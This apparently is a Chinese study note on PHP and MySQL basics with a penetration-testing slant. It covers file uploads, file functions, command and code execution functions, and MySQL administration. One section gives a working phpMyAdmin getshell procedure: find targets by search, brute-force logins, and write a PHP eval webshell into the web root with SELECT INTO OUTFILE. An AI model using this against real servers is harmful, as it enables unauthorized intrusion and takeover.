<?php
header("Content-type:text/html;charset:utf-8");
if ($_FILES["file"]["error"]>0) {
echo $_FILES["file"]["error"]."<br>";
} else {
echo "文件名:".$_FILES["file"]["name"]."<br>";
echo "类型:".$_FILES["file"]["type"]."<br>";
echo "大小:".$_FILES["file"]["size"]."<br>";
echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";}
echo "文件后缀名:".@end(explode(".",$_FILES["file"]["name"]));
?>
explode(标识,字符串),按照标识将字符串分割为数组
explode(".","test.te.png") == array("test","te","png");
end(数组)取出数组中最后一个值.
上传文件完整代码
html:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<form action="ups.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file">
<input type="submit" value="提交">
</form>
</body>
</html>
php:
<?php
header("Content-type:text/html;charset:utf-8");
if ($_FILES["file"]["error"]>0) {
echo $_FILES["file"]["error"]."<br>";
} else {
//白名单:只允许上传图片
$array=array("png","gif","jpeg","jpg","bmp");
/* echo "文件名:".$_FILES["file"]["name"]."<br>";
echo "类型:".$_FILES["file"]["type"]."<br>";
echo "大小:".$_FILES["file"]["size"]."<br>";
echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";*/
$fileEndName=@end(explode(".",$_FILES["file"]["name"]));
if (in_array($fileEndName, $array)) {
if (!file_exists("uploads/".$_FILES["file"]["name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/".$_FILES["file"]["name"]);
echo "文件上传成功,位置为:"."uploads/".$_FILES["file"]["name"];
}else{
echo "有同名文件!!无法提交!!!";
}
} else {
echo "文件格式不支持!!";
}
}
?>
文件管理:文件的打开,关闭,读取,写入.
文件的打开:fopen(打开文件的位置包含路径和文件名,打开文件的方式);
r 以只读的方式打开
r+ 读和写
w 只写,如果文件不存在则创建
w+ 读和写,如果文件不存在则创建
a 文件末尾追加,如果不存在则创建
a+ 读和追加,如果不存在则创建
fclose(句柄~打开的文件对应的句柄)关闭
feof()检测是否达到了文件的末尾,如果没有达到文件的末尾,则返回值是false
fread(打开的文件,读取大小)
fgets()读取单行数据内容:while (!feof($file)){echo fgets($file);}
fgetc()读取单个字符数据内容:while (!feof($file)){echo fgetc($file);}
file()将整个文档中数据读取到数组中:print_r(file("123.php"));
file_get_contents()将整个文档中数据读取到字符串中echo file_get_contents("123.php");
file_put_contents(文件名,写内容)将内容写到文件中:file_put_contents("123.php","123");如果文件名不存在则创建该文件,*是覆盖写,原内容会消失!!!
basename()获取文件名 //我都知道文件名了还取个屁??
dirname() 获取文件路径名
copy(源文件,目标文件)
unlink() unset() 删除文件
命令执行函数,通过php中某些函数去执行系统命令,和系统去交互
常用的命令执行函数:
system();
exec();
shell_exec();
echo 'whoami';
passthru()
等等
代码执行函数,使用php的某些函数去执行字符串类型的php代码,注意:php代码要求按照标准格式写的,常用的函数有:
eval();
assert();
preg_replace(正则表达式,替换掉字符,被替换的字符);注意:如果执行代码功能,需要使用使用/e模式,替换的字符中的代码就会被执行
等等
数据库管理
MYSQL 开源,轻量级数据库,适用于中小型企业,性能好
MSSQL 微软,需要安装在nt系统,不支持跨平台,适用于中大型企业
ACCESS 小巧方便 小型企业 小型项目
ORACLE 甲骨文,收费,适用于大型企业,跨平台,需要良好的底层硬件支持
常用框架组合
mysql+php
mssql+asp,aspx
oracle+java
access+asp
jsp+oracle
数据库模型
关系型数据库(结构化数据库) mysql mssql oracle db2等
非关系型数据库(非结构数据库)redis mongodb nosql postgresq Hbase等等
管理mysql数据库的方式:
DOS-mysql:需要配置mysql的环境变量 mysql -u root -p root
phpmyadmin 基于网页的数据库管理平台
mysql-front 开源的 C/S模式的数据库管理平台
Navicat 收费的,功能强大的数据库管理平台
mysql数据库结构:数据库名->数据库表->表头(字段名)->数据内容
表中有几个字段就会有几行数据
一行数据叫记录
管理mysql数据库的常用命令:
mysql -u root -p
show databases;
information_schema 他是5.0以后的mysql数据库自带的,汇总数据信息
mysql 存放当前数据库信息,如登录账户信息
use mysql; 使用mysql,进入选中的数据库
show tables; 查看当前数据库中所有的表
select * from user ;查看user 表下所有的数据内容
select version(); 查看当前运行的数据库版本
修改密码
知道原密码去修改:
step 1:需要进入到数据库中, mysql -uroot -p
step 2: 低版本(5.0)以下
update mysql.user set password = password("新密码") where user = 'root'(更 改root账户的密码)
高版本(5.1)以上
update mysql.user set authentication_string = password("新密码") where user = 'root'
或
alter user "root"@"localhost" identified by "新密码";
step 3:flush privileges; 刷新数据库
在mysql系统之外修改密码
mysqladmin -u root -p password "新密码";
忘记原密码去修改(linux中):
step1:关闭mysql服务,修改配置文件my.ini/my.cnf
step2:打开mysql配置文件,找到[mysqld] 加上:skip-grant-tables(跳过密码验证)
step3:重启mysql服务,此时登录无需密码,再用上面方法改密码
在mysql 数据库中添加账户并授权
添加账户
create user "用户名"@"主机IP" identified by "密码";
主机IP:允许那个主机用户可以登录,(localhost 本机可登录 %任意用户可登录
192.168.1.1 该IP上用户可登录)
添加权限
grant 权限 on 库名.表名 to "用户名"@"主机IP"
权限:insert drop update select all
库名.表名:表示能够操作的数据和表 *.*表示所有数据库以及所有的表
grant all on *.* to "123"@"192.168.1.1."
注意:配置中bind 127.0.0.1 需要注释掉或者根据需求进行更改
数据库外连:(允许远程连接)
update user set host ="%" where user ="host" and host= "localhost";
flush privileges;
注意:配置中bind 127.0.0.1 需要注释掉
MYSQL 常用的函数
version();
user();
select @@version;
select @@hostname;
select @@tmpdir;临时目录
select @@basedir;数据库服务所在的位置
select @@datadir;数据存放的位置;
数据文件格式:opt:编码;MYD存储数据;frm:存储表结构;MYI存储当前数据库的配置 信息和索引信息;
mid(被截取的字符串,开始索引,截取的长度);截取字符串
ord();显示字符的ascii,首字母的
concat();拼接字符串 concat("1","2","3");=>"123";
concat_ws(分隔符,多个参数);以分隔符分割拼接
group_concat();分组并拼接
sleep(1);让数据库等待1秒钟
sql语法:
创建数据库:
create database te;
mysqladmin -uroot -proot create pentest 在DOS命令中,需要使用mysqladmin.exe
删除数据库:
drop database te;
mysqladmin -uroot -proot drop pentest
数据库中的数据类型:
int:整型
bigint:大整型
float:浮点型
date:日期
time:时间
char:单个字符
varchar:变长字符,自设上限长度
text:文本
timestamp:时间戳
double:双精度浮点型
bit:比特
tinyint:0/1 bool型
创建表:use 数据库;
create table 表明(字段名1 数据类型 primary key auto_increment,字段2 数据类型,字段3 数据类型)default charset=utf8;
auto_increment :自增,看情况使用
primary key: 表中需要一个主键(唯一,非空) ,通过该主键确定唯一的一条记录
not null :不为空
default charset=utf8:设置编码方式
删除表:drop table 表名;
查看表中字段:show create table 表名;desc 表名
后续添加主键:alter table 表名 add primary key(字段名);
插入数据:insert into 表名(字段名1,字段名2,字段名3) value(值1,值2,值3);
查询数据:select 字段 from 表名;
select 字段 from 表名 where 字段名=值;
select 字段 from 表名 where 字段1=值1 and/or 字段2 =值2;
限制查询:limit a,b ;(a b均为数字,a表示记录的索引,b表示记录的长度)
limit a ;(从0开始选择a个记录)
更新数据:update 表名 set 字段1=值1,字段2=值2 where 字段3=值3;
删除表中数据:delete from 表名;
like 子句:通配符:%任意字符 _单个字符
select * from stu where name like "%t%"
union 联合查询 语法:查询语句1 union 查询语句2 将他们查询出来的结果放在一张表中显示 他们查询出来的字段个数必须一致 可以根据语句2的字段数量判断查询语句1的字段数量 |
order by 的使用 order by 条件: 根据给定的条件排序,默认条件下是升序 select * from 表 order by 字段名 [asc/desc] 根据制定的字段名去排序,asc升序,desc降序 select * from 表 order by 数字 表示对第n列数据进行排序,如果数字超过表格列数,则报错 |
删除字段:alter table 表名 drop 字段名;
添加字段:alter table 表名 add 字段名 字段类型;
去重查询:select distinct name from te;
数据的导入导出:
导入数据
方法1:mysql -uroot -proot <需要导入的数据库文件(data.sql)注意:data.sql需要自动创建数据库,并且需 要选择该数据库,如果data.sql不会创建数据库,手动创建数据库
手动导入mysql -uroot -proot
create database 数据库
use 数据库
source 数据库文件
方法2:使用phpmyadmin等平台导入数据,如果导入的文件还是不能自己创建数据库,则需要手动创建
方法3:mysqlimport -uroot -proot --local 数据库名 数据库文件;首先创建数据库,创建表teacher,该表的 字段名要和导入的数据的字段保持一致 --local表示本地任意位置均可导入数据
导出数据
方法1:借助平台;
方法2:mysqldump -uroot -proot 数据库名 > 导出文件名
mysqldump -uroot -proot 数据库名 表名 > ./table.sql
方法3:select 字段 from 表名 into outfile "文件";将数据库中的字段内容导入到文件中
首次从数据库中导出文件,数据库会运行--secure-file-priv 安全机制,会限制导出文件
查看该安全项的值:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
secure_file_priv 的value 为null时,限制导入导出
secure_file_priv 没有值 表示mysql不限制导入导出
secure_file_priv = /tmp 表示mysql只能在/tmp目录下执行导入导出,其他目录是不允许的
修改该安全机制:
临时方法:set global secure_file_priv=' ';
注意:Variable 'secure_file_priv' is a read only variable 表示不能通过sql语句修改
长久方法:修改配置文件 在配置文件my.ini中找到[mysqld]后面添加secure_file_priv=' ';
通过phpmyadmin 获取服务器权限(getshell)
step1:通过google hacking 找phpmyadmin网站
step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马
select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";
select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法
step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,将_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;
step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器
PHP+MYSQL
PHP 操作mysql 数据库
(1) 使用mysqli扩展(推荐),只针对mysql数据库
面向对象的方式
直接方法(面向过程);
(2)使用mysql扩展(php<=5.5)
(3)使用pdo ,支持12种数据库
三种数据库的连接释放.php(分别取消注释使用)
<?php header("Content-type:text/html;charset:utf-8"); $ser="127.0.0.1"; $name="root"; $pwd="roo"; /*m面向对象*/ /* $conn=new mysqli($ser,$name,$pwd); if($conn->connect_error){ die("连接失败:".$conn->connect_error); } echo "数据库连接成功!"; $conn->close(); */ /*面向过程*/ /* $conn=mysqli_connect($ser,$name,$pwd); if($conn){ //mysqli连接成功返回true,没有连接成功返回false; echo mysqli_connect_error(); } echo "连接成功"; var_dump($conn); mysqli_close($conn); */ /*pdo*/ /* try{ $conn=new pdo("mysql:host=$ser;",$name,$pwd); echo "成功!"; } catch(PDOException $ee){ echo $ee-> getMessage(); } $conn=null; */ |
mysql.conf
<?php $ip="127.0.0.1"; $name="root"; $pwd="root"; $db="teachers"; |
2.php
<?php include 'mysql.conf'; $conn=mysqli_connect($ip,$name,$pwd,$db); //$conn=mysqli_connect($ip,$name,$pwd);//创建数据库前用这个 $sql1="create database teachers";//创建数据库 $sql2="create table info ( id int(10) unsigned auto_increment PRIMARY KEY, name varchar(20) not null, address varchar(100) not null, date timestamp )";//创建表info $sql3="insert into info(id,name,address) values (1,'icq','beijing')";//插入数据 $sql4="insert into info(name,address) values ('iii','shanghai')";//插入数据 $sql5="select * from info"; //var_dump(mysqli_query($conn,$sql5));//查看这个的类型 $result=mysqli_query($conn,$sql5); if($result){ echo "成功!"; $numbers=mysqli_num_rows($result);//查询的记录数 //$rows=mysqli_fetch_assoc($result); //将执行的结果转换成数组 while($rows=mysqli_fetch_assoc($result)){ print_r($rows); }//循环打印查询记录 } else{ echo mysqli_error($conn);//打印错误信息 } mysqli_close($conn); |